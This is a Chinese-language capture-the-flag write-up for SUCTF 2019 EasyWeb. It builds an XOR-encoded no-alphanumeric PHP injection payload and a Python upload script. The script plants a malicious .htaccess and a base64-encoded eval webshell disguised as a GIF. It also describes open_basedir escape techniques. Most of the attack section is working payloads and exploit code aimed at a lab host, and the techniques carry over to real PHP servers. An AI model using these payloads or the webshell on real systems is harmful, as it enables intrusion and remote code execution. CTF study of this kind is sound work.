[SUCTF 2019]EasyWeb1特详解(无字符数字注入+木马图上床)
前期知识点:
1.php内置函数:count_chars(string $string, int $mode)
| 模式 ($mode) |
它的逻辑(翻译成人话) |
返回值类型 |
举例:”banana” |
| 0 |
统计 0~255 所有 ASCII 码出现的次数。 |
数组 (Array) |
一个超长数组,[97]=>3, [98]=>1... 其余没出现的都是 0。 |
| 1 |
只统计出现次数大于 0 的字符。 |
数组 (Array) |
[97]=>3, [98]=>1, [110]=>2 (a, b, n 的次数) |
| 2 |
看看哪些字符你没用过。 |
数组 (Array) |
除了 a, b, n 以外所有字符的数组。 |
| 3 |
把用过的字符去重、排序、拼成字符串。 |
字符串 (String) |
"abn" |
| 4 |
把没用过的字符按顺序拼成字符串。 |
字符串 (String) |
" !#...cdef..." (除了 a, b, n 以外的所有字符) |
2.解析正则匹配:preg_match(‘/[\x00- 0-9A-Za-z'“`~_&.,|=[\x7F]+/i’, $hhh)
外层:
1.最外层:/…/ ->为正则地边界符,i表示忽略大小写
2.末尾+表示量词:匹配[]里面的的字符,一次以上
3.[]表示字符集,匹配方括号内任意字符
内层:
1.“x00- ”注意这里有一个空格
匹配从 ASCII 码 0(不可见控制字符 null)到 空格(ASCII 32)之间的所有字符。
包含一些像换行符 \n、回车符 \r、制表符 \t 等不可见字符。
2.0-9A-Za-z:所有的数字和字母
3.'“`~_&.,|=[ :这些字符也被过滤了
4.\x7F :匹配 ASCII 码 127,即 DEL(删除键)控制字符。
3.在 PHP 中,访问数组元素或字符串位,大括号 { } 和中括号 [ ] 是通用的。
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
过程思路:
1.代码审议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];//get传参
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!');//payload有长度限制18 }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //正则过滤数字字母和符号 die('Try something else!');
$character_type = count_chars($hhh, 3); //3表示功能3,从你的payload中先去重,再按顺序排列(详见前期知识点) if(strlen($character_type)>12) die("Almost there!"); //你的payload中字符不能超过12种
eval($hhh); //这里想到是system('ls /'); ?>
|
看下来是无数字字母注入,但有对符号、字符种类、字符串长度的限制。
如果仅是普通的无数字字母注入,一般会用异或,取反,自增等方法->详见p神的解析,真想成为像他一样的人的。
自增不行和system(‘ls /‘);不行,为什么?取反之后字符串长度太长了
取反为什么不行?正则把取反的符号~过滤了
最终我们选择异或。目标是phpinfo();
我们遇到一个问题,长度限制一个字符需要:至少两个字符再加上一个异或符号得到,如果是phpinfo长度就超了
例子:
1 2 3 4
| 符号1: ??????? 符号2: OWOVQYP PHP调用代码: ('???????'^'OWOVQYP') //这里是俩俩对齐异或,然后拼接 //?异或O,?异或W,以此类推
|
什么情况下我们传入的东西符合长度,又能表示phpinfo?
常量看来是不可能的了,
不如直接传入变量,后面再加上这个变量值为phpinfo。
什么变量能够拿到我们传入的url后面的变量呢?全局变量get
2.构造payload
准备变量
准备数组下标($_GET为关联数组)
1 2 3
| 目标: $_GET['a'] 但由于[]被过滤,a字符不能出现,我们用不可见字符%ff ${_GET}{%ff}();&%ff=phpinfo
|
异或构造_get,用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def generate_payload(target): # 固定的异或因子 key = 0xff part1 = "" part2 = ""
for char in target: # 计算:目标字符 ^ 0xff xor_result = ord(char) ^ key # 构造 URL 编码 part1 += "%ff" part2 += "%" + hex(xor_result)[2:].zfill(2)
return part1, part2
target = "_GET" p1, p2 = generate_payload(target)
print(f"--- 构造结果 ({target}) ---") print(f"符号1: {p1}") print(f"符号2: {p2}") print(f"Payload 核心: (${{{p1}}}^{{{p2}}})")
|
拿到
1 2 3 4
| --- 构造结果 (_GET) --- 符号1: %ff%ff%ff%ff 符号2: %a0%b8%ba%ab Payload 核心: (${%ff%ff%ff%ff}^{%a0%b8%ba%ab})
|
3.payload:
1
| ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
|
传入得到

看到这里已经拿到flag了,但是有个问题,如果我们想要用图片上传的方式呢
1
| ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
|
执行了函数,但是网页一片空白,想起源代码中有这么一行提示了我们可以用$_FILES,
1
| if(!empty($_FILES["file"]))
|
用post上传 post的超全局变量 $_FILES
上传脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import requests import base64
# --- 配置区 --- target_url = "http://326a6e33-d6ea-4834-82b7-8cd5e2f657be.node5.buuoj.cn:81/" # 这里的 Payload 是通过异或构造的,目的是执行 get_the_flag() # 逻辑:$_GET['_'] = get_the_flag() payload_url = target_url + "?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
# --- 准备文件1:.htaccess --- # 作用:改变服务器规则,让 .ahhh 文件变成 PHP 运行,并自动 Base64 解码包含内容 htaccess_content = b""" #define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh" """
# --- 准备文件2:shell.ahhh (Base64 木马) --- # GIF89a12 用于伪装图片头和对齐字节 # 解码后是:<?php eval($_REQUEST['cmd']);?> inner_shell = b"<?php eval($_REQUEST['cmd']);?>" shell_content = b"GIF89a12" + base64.b64encode(inner_shell)
def upload_file(filename, content): print(f"[*] 正在尝试上传: {filename}...") files = { "file": (filename, content, "image/jpeg") # 必须模拟图片类型 } # 注意:我们必须在 URL 里带着异或 Payload,这样 eval 才会去执行 get_the_flag 函数 response = requests.post(payload_url, files=files)
if response.status_code == 200 and "upload" in response.text: print(f"[+] {filename} 上传成功!") print(f"[!] 服务器返回路径: {response.text.strip()}") return response.text.strip() else: print(f"[-] {filename} 上传失败,请检查 Payload 或网络。") return None
# --- 执行步骤 --- # 第一步:传配置文件改规则 path_htaccess = upload_file(".htaccess", htaccess_content)
# 第二步:传木马 path_shell = upload_file("shell.ahhh", shell_content)
if path_shell: print("\n" + "=" * 30) print("【攻击准备就绪】") print(f"木马地址: {target_url}{path_shell}") print(f"利用示例: {target_url}{path_shell}?cmd=system('ls /');") print("=" * 30)
|
知识点总结:
1. .htaccess 配置文件攻击
- AddType 指令:可以将任意后缀(如
.ahhh, .jpg)映射为 PHP 脚本解析。
AddType application/x-httpd-php .ahhh
- PHP 配置重写 (
php_value):
auto_append_file:在页面结尾自动包含另一个文件。
- 结合伪协议:利用
php://filter 对包含的文件进行 Base64 解码。这是绕过 <? 过滤的手段。
2.文件上传绕过技术
3.Base64 编码对齐
- Base64 机制:它将 3 个字节转为 4 个字符。
- 补位逻辑:如果你在文件头加了
GIF89a(6 字节),为了让后面的 Base64 木马正常解码,必须补齐到 4 的倍数。
- 公式:
[图片头] + [补位字符] + [Base64加密马]。如果不对齐,解码后的二进制流会错位,导致 <?php 变成一堆乱码。
4.open_basedir 绕过
在拿到 Shell 后,如果无法读取目录外的 /flag,通常是遇到了 open_basedir 限制。
- 核心逻辑:通过
chdir() 切换目录并配合 ini_set('open_basedir', '..') 的漏洞,不断向上级目录跳转,最终达到“越狱”读取根目录的目的。